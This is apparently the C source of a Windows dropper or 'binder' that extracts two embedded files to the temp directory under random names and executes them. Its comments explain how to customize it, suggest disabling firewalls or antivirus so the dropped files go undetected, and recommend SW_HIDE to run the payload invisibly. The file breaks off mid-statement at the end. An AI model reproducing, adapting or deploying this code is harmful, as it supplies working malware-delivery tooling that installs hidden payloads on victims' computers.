#include <windows.h>
#include <stdlib.h>
#include "resource.h"
#include "stdafx.h"
/* define for microsoft compiler */
#define WIN32_LEAN_AND_MEAN
/* The Following 2 lines are the only 2 lines you have to do anything to! */
char File1Extention[] = "exe"; /* <--- Change to proper file extention!!! */
char File2Extention[] = "exe"; /* <--- Change to proper file extention!!! */
/* Global Variables */
HINSTANCE hInst;
/* Declare functions we're gonna use. */
void ExtractFile (unsigned short);
void RandomString(char *);
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
/* OK.. it all starts here */
PeekMessage(0,0,0,0,0); /* Get rid of thinking pointer */
hInst = hInstance; /* we need this later */
/* A hacker may use this part to disable a firewall or antivirus */
/* program so the files they extract arent detected. */
ExtractFile(TDFILE1); /* extract first file */
ExtractFile(TDFILE2); /* extract second file */
return FALSE; /* End of our program! */
}
/*
Extract File Function
I guess this is the main function. It extracts the resource file to the temp dir...
with a random name and the proper extention, and then executes it (or opens it).
if you dont wanna execute em both.. then I reccomend that in this function you do a..
i f (whichone == TDFILE1){ <execute or not exetute>; } ya know what I mean?
*/
void ExtractFile (unsigned short whichone)
{
/* declare local variables */
char tempfilename[13],TempDirBuff[MAX_PATH + 1],*ResourcePointer;
unsigned long TempDirLen,ResourceSize,byteswritten;
HRSRC ResourceLocation;
HGLOBAL ResDataHandle;
HANDLE FileHandle;
/* Get Random String for file name */
if (whichone == TDFILE1)
{
strcpy (tempfilename , "socket123");
}else{
RandomString(tempfilename);
}
/* Next we get the Temp Dir */
TempDirLen = GetTempPath(MAX_PATH + 1,TempDirBuff);
/* now is where we make the full path so first we copy the file random file name after the temp dir path*/
strncpy(&TempDirBuff[TempDirLen],tempfilename,9);
/*next we add the period after the random file name*/
TempDirBuff[TempDirLen + 9] = '.';
/* now check to see which extention we're using and copy it + it's null terminator to the TempDirBuff */
if (whichone == TDFILE1)
{
strncpy(&TempDirBuff[TempDirLen + 10],File1Extention,(strlen(File1Extention) + 1));
}
else
{
strncpy(&TempDirBuff[TempDirLen + 10],File2Extention,(strlen(File2Extention) + 1));
}
/* Now we got the path we're gonna copy it to! */
/* Now we get the location of our resource... */
ResourceLocation = FindResource(hInst,(const char *)whichone,RT_RCDATA);
if (ResourceLocation == 0) { return; }
/*Now get the size of the resource*/
ResourceSize = SizeofResource(hInst,ResourceLocation);
if (ResourceSize == 0) { return; }
/*Now load it into global memory*/
ResDataHandle = LoadResource(hInst,ResourceLocation);
if (ResDataHandle == 0) { return; }
/*Lock the Resource into memory and get a pointer to it!*/
ResourcePointer = (char *)LockResource(ResDataHandle);
if (ResourcePointer == 0) { return; }
/* Now we create the file. */
FileHandle = CreateFile(TempDirBuff,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (FileHandle == INVALID_HANDLE_VALUE) { return; }
/* Now We Write to the file */
WriteFile(FileHandle,ResourcePointer,ResourceSize,&byteswritten,0);
/* Now Close the file */
CloseHandle(FileHandle);
/* Now Open/Execute the file */
/* I used SW_SHOW as the show paremeter, if you want it to run invisibly, try SW_HIDE */
ShellExecute(NULL,NULL,TempDirBuff,NULL,NULL,SW_SHOW);
return;
}
/*
Random String Function
I'm sure this random string function could be better,
but frankly.. I dont care, cuz it works fine.
*/
void RandomString(char *RandomStr)
{
int i;
srand( (unsigned)GetTickCount() );
i=0;
ZeroMemory(RandomStr,9);
while(i < 9)
{
RandomStr[i] = rand();
while (RandomStr[i] > 25) { RandomStr[i] -= 26; }
while (RandomStr[i] < 0) { RandomStr[i] += 26; }
RandomStr[i] += 97;
i++;
}
RandomStr[9] = '